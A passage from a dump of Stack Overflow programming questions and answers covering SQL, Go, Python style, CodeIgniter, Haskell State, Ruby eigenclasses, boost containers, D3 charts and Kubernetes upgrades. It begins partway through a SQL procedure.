WHERE CARD_ID=cardid UNION ALL SELECT * FROM trips17042011 WHERE CARD_ID=cardid ORDER BY Ride_Start_Date, Ride_Start_Time ASC; SET counter = counter + 1; end WHILE; END </code></pre>
36111823	0	 <pre><code>func ReadFile(filename string) ([]byte, error) </code></pre> <p>My answer was from another import called <a href="https://golang.org/pkg/io/ioutil/#ReadFile" rel="nofollow">"io/ioutil"</a>.</p> <p>This will return the file's contents in bytes and I was able to use the function string(file) to convert the bytes into text.</p>
2815311	0	 <p><a href="http://www.python.org/dev/peps/pep-0008/" rel="nofollow noreferrer">PEP 8</a> is pretty much "the root" of all common style guides.</p> <p>Google's <a href="http://google-styleguide.googlecode.com/svn/trunk/pyguide.html" rel="nofollow noreferrer">Python style guide</a> has some parts that are quite well thought of, but others are idiosyncratic (the two-space indents instead of the popular four-space ones, and the CamelCase style for functions and methods instead of the camel_case style, are pretty major idiosyncrasies).</p> <p>On to your specific questions:</p> <blockquote> <p>1.- What is the most widely used column width? (the eternal question) I'm currently sticking to 80 columns (and it's a pain!)</p> </blockquote> <p>80 columns is most popular</p> <blockquote> <p>2.- What quotes to use? (I've seen everything and PEP 8 does not mention anything clear) I'm using single quotes for everything but docstrings, which use triple double quotes.</p> </blockquote> <p>I prefer the style you're using, but even Google was not able to reach a consensus about this:-(</p> <blockquote> <p>3.- Where do I put my imports? I'm putting them at file header in this order.</p> <p>import sys import -rest of python modules needed-</p> <p>import whatever import -rest of application modules-</p> <p></p> </blockquote> <p>Yes, excellent choice, and popular too.</p> <blockquote> <p>4.- Can I use "import whatever.function as blah"? I saw some documents that disregard doing this.</p> </blockquote> <p>I strongly recommend you always import modules -- not specific names from inside a module. This is not just style -- there are strong advantages e.g. in testability in doing that. The <code>as</code> clause is fine, to shorten a module's name or avoid clashes.</p> <blockquote> <p>5.- Tabs or spaces for indenting? Currently using 4 spaces tabs.</p> </blockquote> <p>Overwhelmingly most popular.</p> <blockquote> <p>6.- Variable naming style? I'm using lowercase for everything but classes, which I put in camelCase.</p> </blockquote> <p>Almost everybody names classes with uppercase initial and constants with all-uppercase.</p>
36197111	0	invalid foreach() expecting to show no data if null in Codeigniter <p>I was expecting view to show message 'no data found' when my query is returning null value but im getting error message: Invalid argument supplied for foreach() <p>Here's the controller code:</p> <pre><code>public function index() { $ctki = $this-&gt;ctki_model-&gt;get_all_ctki_data(); if ( !empty($ctki) ) { $this-&gt;data['ctkiData'] = $ctki; } else { $this-&gt;data['ctkiData'] = 'Tidak ada data CTKI.'; } $this-&gt;load-&gt;view($this-&gt;layout, $this-&gt;data); } </code></pre> <p><p>Here's the view code:</p> <pre><code>&lt;table class="table table-striped table-bordered table-hover table-condensed"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;No&lt;/th&gt; &lt;th&gt;Nama Lengkap&lt;/th&gt; &lt;th&gt;Jenis Kelamin&lt;/th&gt; &lt;th&gt;No KTP&lt;/th&gt; &lt;th&gt;No Passport&lt;/th&gt; &lt;th&gt;Kota&lt;/th&gt; &lt;th&gt;No Telepon&lt;/th&gt; &lt;th&gt;No HP&lt;/th&gt; &lt;th&gt;Aksi&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;?php foreach($ctkiData as $row): ?&gt; &lt;?php // Link edit, hapus, cetak $link_edit = anchor('program/administrasi/edit/'.$row-&gt;ID_CTKI, '&lt;span class="glyphicon glyphicon-edit"&gt;&lt;/span&gt;', array('title' =&gt; 'Edit')); $link_hapus = anchor('program/administrasi/hapus/'.$row-&gt;ID_CTKI,'&lt;span class="glyphicon glyphicon-trash"&gt;&lt;/span&gt;', array('title' =&gt; 'Hapus', 'data-confirm' =&gt; 'Anda yakin akan menghapus data ini?')); ?&gt; &lt;tr&gt; &lt;td&gt;&lt;?php echo ++$no ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $row-&gt;Username ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $row-&gt;Nama_Lengkap_User ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $row-&gt;No_Telepon ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $row-&gt;No_HP ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $row-&gt;Level ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo format_is_blokir($row-&gt;Status_Blokir) ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $link_edit.'&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'.$link_hapus ?&gt;&lt;/td&gt; &lt;/tr&gt; &lt;?php endforeach ?&gt; &lt;/tbody&gt; &lt;/table&gt; </code></pre>
3314207	0	 <p>I'd suggest caching the patterns and having a method that uses the cache.</p> <p>Patterns are expensive to compile so at least you will only compile them once and there is code reuse in using the same method for each instance. Shame about the lack of closures though as that would make things a lot cleaner.</p> <pre><code> private static Map&lt;String, Pattern&gt; patterns = new HashMap&lt;String, Pattern&gt;(); static Pattern findPattern(String patStr) { if (! patterns.containsKey(patStr)) patterns.put(patStr, Pattern.compile(patStr)); return patterns.get(patStr); } public interface MatchProcessor { public void process(String field); } public static void processMatches(String text, String pat, MatchProcessor processor) { Matcher m = findPattern(pat).matcher(text); int startInd = 0; while (m.find(startInd)) { processor.process(m.group()); startInd = m.end(); } } </code></pre>
21168987	0	 <p>This should work in all browsers:</p> <pre><code>$(document).ready(function () { if (document.addEventListener) { document.addEventListener("mousewheel", MouseWheelHandler, false); //IE9, Chrome, Safari, Oper document.addEventListener("DOMMouseScroll", MouseWheelHandler, false); //Firefox } else { document.attachEvent("onmousewheel", MouseWheelHandler); //IE 6/7/8 } function MouseWheelHandler(){ // cross-browser wheel delta e = window.event || e; var delta = Math.max(-1, Math.min(1, (e.wheelDelta || -e.detail))); //scrolling up? if (delta &gt;= 0) { $('body').scrollTop(0); } } }); </code></pre>
5868669	0	 <p>You should just change the "upload_path" value in your configuration Array.</p> <p>Here is some kind of code you could use :</p> <pre><code> $config['upload_path'] = './uploads/'; $this-&gt;load-&gt;library('upload', $config); </code></pre> <p>Referring to the <strong>User Guide</strong> : <a href="http://codeigniter.com/user_guide/libraries/file_uploading.html" rel="nofollow">http://codeigniter.com/user_guide/libraries/file_uploading.html</a></p>
35014027	0	 <p>The iAd network will soon be discontinued and new apps are no longer accepted. You might want to reconsider. <a href="https://developer.apple.com/news/?id=01152016a" rel="nofollow">https://developer.apple.com/news/?id=01152016a</a></p>
2364248	0	 <p>This is little more than a matter of opinion. So, here's mine.</p> <ol> <li>Don't sweat the small stuff</li> <li>Check out <a href="http://rads.stackoverflow.com/amzn/click/0321113586" rel="nofollow noreferrer">other</a> people's opinions on the matter (which you're doing)</li> <li>It matters less which convention you choose, and much much more that you apply it consistantly</li> <li><p>Here's some of my convention:</p> <blockquote> <pre><code>class MyGizmo { public: int DoIt(); private: string myString_; }; typedef vector&lt;MyGizmo&gt; MyGizmos; namespace somewhere { MyGizmos gizmos; }; int MyGizmo::DoIt() { int retVal = 0; string strCopy = myString; retVal = strCopy.length(); return retVal; } </code></pre> </blockquote></li> </ol>
16952750	0	if statement inside mysql query to determine table to select <p>I would like to perform a <strong>if statment</strong> in the middle of a query, I need to find out if oc.product_type == 'clothing' or 'other' If it is clothing, then i need to select the <strong>specific_clothing</strong> table instead of the <strong>non_clothing</strong> table? I really lost with this one </p> <pre><code>SELECT o.total, o.shipping, o.order_date ,oc.product_type, oc.product_id, oc.quantity, oc.price_per ,cu.first_name, cu.last_name, CONCAT(cu.address1, cu.address2) AS address, </code></pre> <p><strong>//here is where im trying to use if</strong> </p> <pre><code> if(oc.product_type = 'clothing' SELECT style FROM specific_clothing where oc.product_id = specific_clothing_id) as item FROM order_contents AS oc INNER JOIN `orders` as o ON oc.order_id = o.id INNER JOIN `customers` AS cu ON o.customer_id=cu.id WHERE o.customer_id = '214'; </code></pre>
9248418	0	 <p>ID item of item to be edited is passed to edit form in the query string like this: editform.aspx?ID=ItemId. So, first, check if ID is in the url and correct.</p>
11744173	0	 <p>The problem to be solved is that you have an input and a series of functions, and you want to apply the functions to the input in order.</p> <p>If the functions are purely state-changing functions, <code>s -&gt; s</code> on an input of type <code>s</code>, then you don't <em>need</em> <code>State</code> to use them. Haskell is very good at chaining together functions like these, e.g. with the standard composition operator <code>.</code>, or something like <code>foldr (.) id</code>, or <code>foldr id</code>.</p> <p>However, if the functions both mutate a state <em>and</em> report some result of doing so, so that you could give them the type <code>s -&gt; (s,a)</code>, then gluing them all together is a bit of a nuisance. You have to unpack the result tuple and pass the new state value to the next function, use the reported value somewhere else, and then unpack <em>that</em> result, and so on. It's easy to pass the wrong state to an input function because you have to name each result and input explicitly to do the unpacking. You end up with something like this:</p> <pre><code>let (res1, s1) = fun1 s0 (res2, s2) = fun2 s1 (res3, s3) = fun3 res1 res2 s1 ... in resN </code></pre> <p>There, I accidentally passed <code>s1</code> instead of <code>s2</code>, maybe because I added the second line in later and didn't realise the third line needed changing. When composing the <code>s -&gt; s</code> functions, this problem can't possibly arise because there are no names to get right:</p> <pre><code>let resN = fun1 . fun2 . fun3 . -- etc. </code></pre> <p>So we invented <code>State</code> to do the same trick. <code>State</code> is essentially just a way of gluing functions like <code>s -&gt; (s,a)</code> together in such a way that the right state always gets passed to the right function.</p> <p>So it's not so much that people went "we want to use <code>State</code>, let's use <code>s -&gt; (s,a)</code>" but rather "we're writing functions like <code>s -&gt; (s,a)</code>, let's invent <code>State</code> to make that easy". With functions <code>s -&gt; s</code>, it's already easy and we don't have to invent anything.</p> <p>As an example of how <code>s -&gt; (s,a)</code> arises naturally, consider parsing: a parser will be given some input, consume some of the input and return a value. In Haskell, this is naturally modelled as taking an input list, and returning a pair of the value and the remaining input - i.e. <code>[Input] -&gt; ([Input], a)</code>, or <code>State [Input]</code>.</p>
34394168	0	 <p>You need to change this line</p> <pre><code>$("myTable tr td") </code></pre> <p>to</p> <pre><code>$("#myTable tbody tr td") //missing pound sign &amp; your tds are inside tbody </code></pre>
22819161	0	 <p>Try <code>-notmatch "\[.*\]"</code> instead of <code>-ne</code></p>
13729327	0	 <p>1) use a timer with 15 seconds interval;</p> <p>2) save the current mouse location on screen: <a href="http://stackoverflow.com/questions/1316681/getting-mouse-position-in-c-sharp">Getting mouse position in c#</a></p> <p>3) when timer reached 15 seconds, check mouse location again. if it is changed, update current mouse location. if it is unchanged, draw something on screen at the mouse location (and you need clean it too): <a href="http://stackoverflow.com/questions/7897307/how-do-i-draw-graphics-in-c-sharp-without-a-form">How do I draw graphics in C# without a form</a></p> <p>It is not the best choice, but if the mouse is moved during the 15 seconds, it is unlikely it will back to its original location in 15 seconds.</p>
10496661	0	 <p>I fixed the problem by changing the frameDuration of the videoComposition.</p>
17160775	0	I want to hide the iOS nav bar on particular view <p>Now I'm pretty sure there is a way to do this as i saw this post earlier <a href="http://stackoverflow.com/questions/7699455/uinavigationabar-not-hiding">UINavigationabar not hiding</a> but I just want confirmation so i can prove to my developer there is a way to hide the footer nav buttons on a particular view.</p> <p>I want to hide the buttons on the home view and use big custom buttons instead - he tells me it isn't possible. Seeking a second opinion here.</p> <p>THanks!</p>
35106414	0	 <p>I propose this solution, which doesn't deviate much from yours:</p> <pre><code>import pandas as pd from datetime import datetime data = pd.read_csv('Meteorite_Landings.csv') for i, val in enumerate(data["year"]): try: b = datetime.strptime(val, '%m/%d/%Y %H:%M:%S %p').year print b except TypeError: pass </code></pre> <p>This prints the years. The reason for the try-except thing is that <a href="https://data.nasa.gov/Space-Science/Meteorite-Landings/gh4g-9sfh" rel="nofollow">the dataset you're probably using</a> is not complete and contains some NANs (?).</p>
37066361	0	 <p>public <strong><em>List&lt; RestaurantDetails></em></strong> restaurant; return Array</p> <p>public <strong><em>RestaurantDetails</em></strong> restaurant; return Object</p> <p>Your API return Object. Not return Array</p> <p>Try this!!</p> <pre><code>public class RestaurantsZomato { public NearbyRestaurants nearby_restaurants; public static class NearbyRestaurants { public RestaurantDetails restaurant; }} </code></pre> <p><strong><em>Update</em></strong></p> <p>Your Json String return JsonObject. You must use JsonObject </p> <pre><code>Ion.with(context) .load("https://developers.zomato.com/api/v2.1/geocode?lat=25.12819&amp;lon=55.22724") .asJsonObject() .setCallback(new FutureCallback&lt;JsonObject&gt;() { @Override public void onCompleted(Exception e, JsonObject result) { // do stuff with the result or error } }); </code></pre>
2687532	0	 <p>This <strong>is</strong> possible.</p> <pre><code>class Object class &lt;&lt; self Kernel.send :define_method, :foo do #Object.send to be more restrictive @foo = 'bar' end end end </code></pre> <p>.</p> <pre><code>irb(main):023:0&gt; class Object irb(main):024:1&gt; class &lt;&lt; self irb(main):025:2&gt; Kernel.send :define_method, :foo do irb(main):026:3* @foo = 'bar' irb(main):027:3&gt; end irb(main):028:2&gt; end irb(main):029:1&gt; end =&gt; #&lt;Proc:0x00007f5ac89db168@(irb):25&gt; irb(main):030:0&gt; x = Object.new =&gt; #&lt;Object:0x7f5ac89d6348&gt; irb(main):031:0&gt; x.foo =&gt; "bar" irb(main):032:0&gt; [].foo =&gt; "bar" irb(main):033:0&gt; //.foo =&gt; "bar" </code></pre> <p>It's important to understand eigenclasses. Every class is implemented mysteriously by the Ruby interpreter as a hidden class type:</p> <pre><code>irb(main):001:0&gt; class Object irb(main):002:1&gt; def eigenclass irb(main):003:2&gt; class &lt;&lt; self; self; end irb(main):004:2&gt; end irb(main):005:1&gt; end =&gt; nil irb(main):006:0&gt; x = Object.new =&gt; #&lt;Object:0x7fb6f285cd10&gt; irb(main):007:0&gt; x.eigenclass =&gt; #&lt;Class:#&lt;Object:0x7fb6f285cd10&gt;&gt; irb(main):008:0&gt; Object.eigenclass =&gt; #&lt;Class:Object&gt; irb(main):009:0&gt; Object.class =&gt; Class </code></pre> <p>So, in your example, when you're trying to call foo on your objects, it's operating on the class <code>#&lt;Object:0x7fb6f285cd10&gt;</code>. However, what you want it to operate on is the secret class <code>#&lt;Class:#&lt;Object:0x7fb6f285cd10&gt;&gt;</code></p> <p>I hope this helps!</p>
25817682	0	 <p>If I understood correctly you are trying to access a parent controller from a child controller. Here are some proposals ordered from noob to expert ;)</p> <ol> <li><p>The simplest approach would be to just use a global variable to provide reference to the controller you need - not recommended.</p></li> <li><p>Give your parent view an id and call a method on it's controller like this:</p> <p>sap.ui.getCore().byId("parentViewId").getController().method();</p></li> <li><p>You can directly call a controllers method like this:</p> <p>sap.ui.controller("namespace.Controllername").method();</p></li> <li><p>I would highly recommend a more decoupled way of communication between controllers (or application components in general) using the <a href="https://sapui5.hana.ondemand.com/sdk/#docs/api/symbols/sap.ui.core.EventBus.html" rel="nofollow">sap.ui.core.EventBus</a>. It implements a pattern known as Event or Message Bus and imho really rocks ;)</p></li> </ol> <p>GL Chris</p>
35395268	0	 <p>You need to specify the encoding in the HTML file of the Polymer element.</p> <pre><code>&lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8"&gt; </code></pre> <p>See also <a href="http://stackoverflow.com/questions/22790895/i-have-greek-text-on-a-string-in-dart-using-polymer-why-is-it-displayed-wrongly">I have greek text on a String in Dart using Polymer, why is it displayed wrongly on the browser?</a></p>
24151423	0	 <p>Probably the most secure so far is <a href="http://www.scala-js-fiddle.com/">http://www.scala-js-fiddle.com/</a> (<a href="https://github.com/lihaoyi/scala-js-fiddle">code on GitHub</a>) simply because it does not even run the code on the server, but on the client!</p> <p>The gotcha is: it's not truly Scala code, it is <a href="http://www.scala-js.org/">Scala.js</a>, which is a dialect of Scala, is still experimental, etc. But it <em>might</em> be enough for your use case.</p>
38957244	0	 <p>Move the <code>app:layout_scrollFlags="scroll|enterAlways"</code> from the toolbar to the Framelayout. Sorry for being late.</p>
32571066	0	 <p>You are forgetting the <code>if(i%2==0)</code> which is crucial. This line basically skips every second character. Then, the line you have identified can be split in 2 parts:</p> <pre><code>string[j]=string[i]; // Overwrite the character at position j j++; // Now increase j </code></pre> <p>The variable <code>i</code> keeps track of the position of the string you have reached while reading it; <code>j</code> is used for writing. In the end, you write 0 at position <code>j</code> to terminate the string.</p>
28810808	0	Drupal URL Redirection <p>The homepage of our website - <a href="http://urn1350.net/" rel="nofollow">http://urn1350.net/</a>, we would like to change to <a href="http://urn1350.net/elections" rel="nofollow">http://urn1350.net/elections</a> to be the homepage. What options do I have for URL redirection in the backend on a drupal and apache server</p>
37136495	0	Daemon that monitors a 'queue' and runs commands, asynchronously <p>I know this has been asked before, but I can't figure out a particular piece of the puzzle and would really like any help on this!</p> <p><strong>Program Flow :</strong> </p> <p><em>INITIAL REQUEST :</em> Browser -> Apache -> to PHP -> PHP sends taskinfo about a time consuming command, to 'something', and returns instantly.</p> <p>There could be multiple requests being sent at the same time to the server, by multiple browsers.</p> <p><em>SERVER:</em> The 'something' runs a specific command with the taskinfo as params PARALLELY in the BACKGROUND > saves output to DB</p> <p><em>AJAX:</em> -> Apache -> PHP -> Checks DB -> Returns info to user.</p> <p>I have explored solutions such as rabbitmq / gearman etc, but am unable to figure them out. </p> <p>The <strong>precise problem</strong> is that I can't figure out the part where the 'something' (a daemon), automatically runs the specified command, whenever a task in added to a 'queue/list'. The way I see it, a command needs to run seperate from the daemon, and I don't understand where or how this command should run.</p> <p>So in short: A non-blocking daemon that monitors a queue and runs a specific command! </p> <p>But How ?</p> <p>Been stuck at this for a few days now. I know there are simpler alternatives like curl and exec(), but they are not suitable for my use case.</p> <p>Thanks</p>
18659648	0	boost::stable_vector insertion is orders of magnitude slower than std::vector. why? <p>I'm noticing a large performance difference between std::vector and boost::stable_vector. Below is example where I construct and insert 100,000 ints into both a vector and a stable vector.</p> <p>test.cpp:</p> <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt; #include &lt;boost/container/stable_vector.hpp&gt; #include &lt;boost/timer/timer.hpp&gt; int main(int argc, char** argv) { int size = 1e5; boost::timer::cpu_timer timer; timer.start(); std::vector&lt;int&gt; vec(size); timer.stop(); std::cout &lt;&lt; timer.format(); timer.start(); boost::container::stable_vector&lt;int&gt; svec(size); timer.stop(); std::cout &lt;&lt; timer.format(); } </code></pre> <p>compile:</p> <pre><code>g++ -O3 test.cpp -o test -lboost_system-mt -lboost_timer-mt </code></pre> <p>output:</p> <pre><code> 0.000209s wall, 0.000000s user + 0.000000s system = 0.000000s CPU (n/a%) 5.697013s wall, 5.690000s user + 0.000000s system = 5.690000s CPU (99.9%) </code></pre> <p>What is the reason for this huge discrepancy? My understanding is that both types should have similar insertion performance.</p> <p>UPDATE: boost version: 1.54</p> <pre><code>dev/stable_vector_test: g++ --version i686-apple-darwin11-llvm-g++-4.2 (GCC) 4.2.1 (Based on Apple Inc. build 5658) (LLVM build 2336.11.00) Copyright (C) 2007 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. </code></pre> <p>I added std::list to the code and tried passing -DNDEBUG in addition to -O3.</p> <pre><code>dev/stable_vector_test: make g++ -g test.cpp -o test -lboost_system-mt -lboost_timer-mt dev/stable_vector_test: ./test size: 10000 vector: 0.000047s wall, 0.000000s user + 0.000000s system = 0.000000s CPU (n/a%) list: 0.001168s wall, 0.000000s user + 0.000000s system = 0.000000s CPU (n/a%) stable_vector: 0.963679s wall, 0.960000s user + 0.000000s system = 0.960000s CPU (99.6%) dev/stable_vector_test: make opt g++ -O3 -DNDEBUG test.cpp -o test -lboost_system-mt -lboost_timer-mt dev/stable_vector_test: ./test size: 10000 vector: 0.000038s wall, 0.000000s user + 0.000000s system = 0.000000s CPU (n/a%) list: 0.000659s wall, 0.000000s user + 0.000000s system = 0.000000s CPU (n/a%) stable_vector: 0.000752s wall, 0.000000s user + 0.000000s system = 0.000000s CPU (n/a%) </code></pre> <p>So with -O3 and -DNDEBUG I get comparable performance to std::list</p>
10157129	0	Java - Structuring the flow of data in GUI from input to output <p>I'm putting together a GUI with a couple of panels. In one panel there are components for the user to input various parameters. In another panel, there are buttons and a place to output a plot based on data generated using the user inputs.</p> <p>I have all of the various pieces working independently now I'd just like them to talk to each other!! </p> <p>When i hit one button, I would like to take all of user inputs and combine them to generate a data set and plot it. Another button then to write this same data to a file.</p> <p>I have code to implement all the components individually, code to write data to a file and code to generate a plot from data. All of which works fine.</p> <p>I thought that I could use the Action/ChangeEvents to take the parameters and assign them to an ArrayList. Then use this arraylist to generate the data.<br> I'm finding it difficult to plan an approach to tackling this. </p> <p>Currently I'm using get set methods in the event handlers to set parameter levels for a particular instance of the array list, I would like to pass this instance into another class to generate the data but don't know how to make it accessible.</p> <p>I hope I have provided enought information here. If anyone has any thoughts on this they would be much appreciated.</p>
19079643	0	 <p>The <a href="http://www.fabricationgem.org/#!defining-fabricators" rel="nofollow">Fabrication gem documentation</a> for defining fabricators seems to indicate that this will work for both directions in a <code>belongs_to</code>/<code>has_many</code> relationship, and you can pass <code>count: n</code> to get n objects:</p> <pre><code>Fabricator(:person) do open_source_projects(count: 5) children(count: 3) { |attrs, i| Fabricate(:person, name: "Kid #{i}") } end </code></pre> <p>The documentation is pretty good; I would recommend checking it out and then experimenting :)</p>
15551903	0	 <p>B could create and send a <a href="http://git-scm.com/2010/03/10/bundles.html" rel="nofollow">bundle</a> rather than a patch. This allows sending commits when none of the transports available for push or fetch will work.</p>
33898232	0	 <p>You are trying to use a Python console to update your conda distribution when you have to update it from your local console.</p> <p>I guess you're using Windows, just open the command prompt (cmd.exe), and from there update the conda distribution with the commands you already know:</p> <pre><code>conda update conda conda update anaconda conda install &lt;package&gt; </code></pre> <p><strong>Update:</strong></p> <p>Conda commands have to be used directly in the command prompt:</p> <p><a href="https://i.stack.imgur.com/wYH4a.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/wYH4a.png" alt="enter image description here"></a></p>
40182610	0	 <p>You should call the <a href="https://developer.apple.com/reference/foundation/timer/1415405-invalidate" rel="nofollow">invalidate()</a> method:</p> <blockquote> <p>This method is the only way to remove a timer from an RunLoop object. The RunLoop object removes its strong reference to the timer, either just before the invalidate() method returns or at some later point.</p> <p>If it was configured with target and user info objects, the receiver removes its strong references to those objects as well.</p> </blockquote> <p>Somewhere in your code, you should implement:</p> <pre><code>timer.invalidate() </code></pre> <p>Hope this helped.</p>
7738588	0	BufferedImage turns all black after scaling via canvas <p>I have a method which purpose is to receive an image and return it scaled down. The reason I'm using canvas is that I believe that it will scale the image automatically for me.</p> <p>After the conversion the outputimage is completely black. Anyone have any clue on how to fix this?</p> <pre><code>try { InputStream in = new ByteArrayInputStream(f.getBytes()); BufferedImage image = ImageIO.read(in); File beforescale = new File("beforescale.jpg"); ImageIO.write(image, "jpg", beforescale); //works Canvas canvas = new Canvas(); canvas.setSize(100, 100); canvas.paint(image.getGraphics()); image = canvasToImage(canvas); File outputfile = new File("testing.jpg"); ImageIO.write(image, "jpg", outputfile); //all black response.getWriter().print(canvas); } catch (Exception ex) { ex.printStackTrace(); } } private BufferedImage canvasToImage(Canvas cnvs) { int w = cnvs.getWidth(); int h = cnvs.getHeight(); int type = BufferedImage.TYPE_INT_RGB; BufferedImage image = new BufferedImage(w,h,type); Graphics2D g2 = image.createGraphics(); cnvs.paint(g2); g2.dispose(); return image; } </code></pre>
36682139	0	 <p>One way of doing this is to perform a rolling upgrade. This will ensure that your deployed application incurs no downtime (new pods are started before old pods are stopped). One caveat is that you must be using a replication controller or replication set to do so. Most rolling deployments will simply involve just updating the container's image for the new version of software.</p> <p>You can do this through Java via <a href="http://fabric8.io" rel="nofollow">fabric8</a>'s <a href="https://github.com/fabric8io/kubernetes-client" rel="nofollow">Kubernetes Java client</a>. <a href="https://github.com/fabric8io/kubernetes-client/blob/a47d2e288599559069481895c8b6fc7cf3fbab3d/kubernetes-examples/src/main/java/io/fabric8/kubernetes/examples/FullExample.java#L147" rel="nofollow">Here</a>'s an example:</p> <pre><code>client.replicationControllers() .inNamespace("thisisatest") .withName("nginx-controller") .rolling().updateImage("nginx"); </code></pre> <p>You can change any configuration of the replication controller (replicas, environment variables, etc). The call will return when your pods running the new version are <code>Ready</code> &amp; the old replication &amp; pods have been stopped &amp; deleted.</p>
10770681	0	 <p>A couple of useful things:</p> <ol> <li><p>If you're running your app out of Xcode, add an exception breakpoint. In the breakpoint navigator (command-6) hit the '+' at the very bottom left to add. This will pause execution on the line that throws the exception and allow you to inspect the current scope, stack, etc.</p></li> <li><p>If you're using gdb, use <code>bt</code> to print the backtrace</p></li> <li><p>If you're using lldb, use <code>thread backtrace</code> instead</p></li> </ol>
17817348	0	Total pages in PDF using html2pdf <p>I have some HTML using which I am printing a PDF, I would like to get the count of total pages the PDF will produce in a PHP Variable.</p> <pre><code>$html2pdf = new HTML2PDF('P', 'A4'); $html2pdf-&gt;writeHTML($html, false); $html2pdf-&gt;Output('myfile.pdf'); </code></pre> <p>I would like to do something like..</p> <pre><code>$totalpages = $html2pdf-&gt;getTotalPageCount(); //should return total pages the myfile.pdf would produce. </code></pre>
32573685	0	D3 Labels text amount slightly off <p>I'm having a problem with my D3 bar chart not displaying the correct amount for the label text. It seems like it's slightly off, and I'm not sure why.</p> <p>I'm trying to get the text labels to display whatever the newNumber is within the dataset.</p> <p>Here's the code I'm using:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code> var w = 800; var h = 600; var padding = 5; var maxNumber = 100; //Generate random numbers var dataset = []; for (var i = 0; i &lt; 21; i++) { var newNumber = Math.random() * maxNumber; dataset.push(newNumber); } var xScale = d3.scale.ordinal() .domain(d3.range(dataset.length)) .rangeRoundBands([padding, w - padding], 0.05); var yScale = d3.scale.linear() .domain([d3.max(dataset), 0]) .range([padding, h - padding]); var xAxis = d3.svg.axis() .scale(xScale) .orient("bottom"); var yAxis = d3.svg.axis() .scale(yScale) .orient("left"); var svg = d3.select("body") .append("svg") .attr("width", w) .attr("height", h); svg.selectAll("rect") .data(dataset) .enter() .append("rect") .attr("x", function(d, i) { return xScale(i) + padding; }) .attr("y", function(d) { return h - yScale(d) - padding - 15; }) .attr("width", xScale.rangeBand()) .attr("fill", "rgba(95, 159, 229, 0.3"); svg.selectAll("rect") .data(dataset) .transition().delay(function(d, i) { return i / dataset.length * 800; }) .duration(1500) .ease("linear") .attr("y", function(d) { return h - yScale(d) - padding - 15; }) .attr("height", function(d) { return yScale(d); }); svg.selectAll("text") .data(dataset) .enter() .append("text") .text(function(d) { return Math.floor(d3.max(dataset) - d); }) .attr("text-anchor", "middle") .attr("x", function(d, i) { return xScale(i) + padding + 15; }) .attr("y", function(d) { return h - yScale(d) - padding - 20; }) .attr("font-family", "sans-serif") .attr("font-size", "11px") svg.append("g") .attr("class", "xAxis") .attr("transform", "translate(0," + (h - padding - 15) + ")") .call(xAxis); svg.append("g") .attr("class", "yAxis") .attr("transform", "translate(" + (padding + 15) + ",0)") .call(yAxis);</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://cdnjs.cloudflare.com/ajax/libs/d3/3.4.11/d3.min.js"&gt;&lt;/script&gt; &lt;!DOCTYPE html&gt; &lt;html lang="en"&gt; &lt;head&gt; &lt;meta charset="utf-8"&gt; &lt;title&gt;D3: BDAS Bar Chart Test&lt;/title&gt; &lt;style&gt; svg { padding-left: 15px; padding-top: 30px; } rect { transition: 0.1s; } rect:hover { fill: rgba(95, 159, 229, 1); } .xAxis path, .yAxis path { fill: #aaa; height: 0.5px; } .xAxis .tick text, .yAxis .tick text { font-family: sans-serif; fill: #aaa; font-size: 15px; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;/body&gt; &lt;/html&gt;</code></pre> </div> </div> </p>
21634630	0	Dynamic LINQ aggregates on IQueryable as a single query <p>I'm building a datagrid library that works on generic IQueryable data sources. At the bottom selected columns will have aggregates: sum, average, count etc.</p> <p>I can compute the sum/average/count individually using the code from this article <a href="http://stackoverflow.com/questions/17490080/how-to-do-a-sum-using-dynamic-linq">How to do a Sum using Dynamic LINQ</a> </p> <p>I don't want to run them individually for a datasource, as this would cause multiple queries on the database, I would rather create a single expression tree an execute this as a single query.</p> <p>In static LINQ you'd do all the .Sum, .Average and .Count methods and return a new anonymous type with the values. I don't need an anonymous type (unless this is the only way): a list or array of the aggregates would be fine.</p> <p>I assume from the other article I would need to string together a series of MethodCallExpression objects somehow. Can anyone help?</p>
6179839	0	 <p>Have a solution for you. First check if browser is IE, next use encodeURI to encode all the file path and name, you have to do that first in order to correctly capture the unescaped chars like "\". Then just replace, its working for me:</p> <pre><code>var browserName=navigator.appName; if (browserName=="Microsoft Internet Explorer") { var soloNombre = encodeURI(soloNombre); soloNombre = soloNombre.replace("C:%5Cfakepath%5C",""); var soloNombre = decodeURI(soloNombre); alert(soloNombre); } </code></pre> <p>Works like a charm.</p>
7012542	0	 <p>So for now solution seems to be to list <code>/dev/shm</code> e.g.</p> <pre><code>$ ls -al /dev/shm/sem.*|more -rw------- 1 auniyal auniyal 16 2011-08-09 15:59 /dev/shm/sem.mysem -rw------- 1 auniyal auniyal 16 2011-08-09 16:29 /dev/shm/sem.mysem1 -rw------- 1 auniyal auniyal 16 2011-08-09 16:37 /dev/shm/sem.mysem2 -rw------- 1 auniyal auniyal 16 2011-08-09 16:37 /dev/shm/sem.mysem3 -rw------- 1 auniyal auniyal 16 2011-08-09 16:39 /dev/shm/sem.mysem4 ... </code></pre>
41081983	0	 <p><a href="https://i.stack.imgur.com/GMJnn.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/GMJnn.png" alt="Pull down to refresh works if I pull from the region starting from red line"></a></p> <p>Figured this out when I tested the app on my phone instead of emulator. The List View is always present even though the datasource is empty. In my case, the listview began where the Text view finished at the red line.</p>
